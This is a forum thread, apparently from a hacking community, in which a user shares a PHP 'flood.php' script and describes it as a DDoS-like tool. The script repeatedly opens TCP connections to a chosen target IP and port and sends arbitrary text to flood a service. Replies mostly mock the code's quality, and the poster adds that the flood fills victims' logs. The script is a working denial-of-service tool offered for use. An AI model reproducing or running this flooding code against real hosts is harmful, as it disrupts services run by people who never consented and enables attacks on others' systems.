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+---- Thread: [PHP] [flood.php] - kinda like ddos (/showthread.php?tid=5238214)
[flood.php] - kinda like ddos - ImDeepWithWindows - Apr 15, 2016
im mostly posting this to get my 50 posts so i can finally put posts in the market section and include urls in my posts but here it is
an old php script i had on my comp that sends raw text of your choice through a port on the remote ip, can be used to ddos one specific protocol if u know what port theyre useing for that protocol (usually the defaults, incomming http is 80 incomming ftp is 21 etc) on the remote host
Code
if (!$_REQUEST['targ']) {
echo "target will see you as: [".$_SERVER['SERVER_ADDR']."]<br/> and maybe: [".$_SERVER['SERVER_NAME']."]<br/>";
echo "<form method=POST ><input type=text name=targ value=tcp:// />:<input type=text name=port value=80 /><br/>";
echo "data to send through port:<br/><textarea name=datatosend >HaHaHaHaHaHaHaHaHaHaHaHaHaHaHaHa</textarea><br/><input type=submit value=flood />";
} else {
if (!@$conn = fsockopen($_REQUEST['targ'],$_REQUEST['port'],$errno, $errstr, 2)) {
echo "either the target address doesn't exist or the selected port isn't open on it\r\n";
} else {
echo "flooding [ ".$_REQUEST['targ'].":".$_REQUEST['port']." ] ...<br/>\r\n";
for ($r = 1; $r < 999999999; $r++) {
if ($conn = fsockopen($_REQUEST['targ'],$_REQUEST['port'],$errno, $errstr, 2)) {
fwrite($conn,$_REQUEST['datatosend']."\r\n");
fclose($conn);
}
}
echo "done flooding.<br/>\r\n";
}
echo "<form method=REQUEST ><input type=submit value=NewFlood /><br/>\r\n";
}* - Sakuto - Apr 15, 2016
This is a shitty share, especially since you're doing it just to get post. I've a bad news for you, you also need reputation ;)
* - ASDA - Apr 15, 2016
my favourite thing is that you open a new socket each iteration.
what the fuck is this shit
* - ImDeepWithWindows - Apr 18, 2016
(Apr 15, 2016 03:30 AM)ASDA Wrote: my favourite thing is that you open a new socket each iteration.
i was thinking it would b more obnoxious to have tons of extra lines in their logs saying "new connection at port #nn at mm/dd/yyyy hh:mm" cuz some of the free webhosting services out there do let u pull up a log of connects made to unexpected ports like besides 80 and 21 and https port and ping port etc
but now that i think about it after u pointing that out it might not be a good idea cuz it might just get the ip of whatev free webhosting service youre useing to run this php script automatically blocked for a while depending on what youre useing it on but anyway atm im average with php and this was from years ago when i definitely was not so ofc its gonna have something inefficient in it
* - Remix - Apr 19, 2016
(Apr 15, 2016 03:30 AM)ASDA Wrote: what the fuck is this shit
Wanted to post literally the same
* - Squito - Apr 19, 2016
First of all INDENTING!!!! The first row... PHP has isset() and empty() for a reason! Also if you keep opening connections to the target server over and over again the remote server (if configured correctly) will disable your IP after a few connections, because it will be detected as flooding. Also there are two methods to send a form: "GET" and "POST". Don't use $_REQUEST, unless information can come (and allowed to come) from both sources (GET and POST), don't be lazy! And as a sidenote: stay consistent regarding the formatting.
* - DataBuster - Jan 20, 2017
Haven't I seen you in the Batch Section? :D
Nice post tho, thanks :)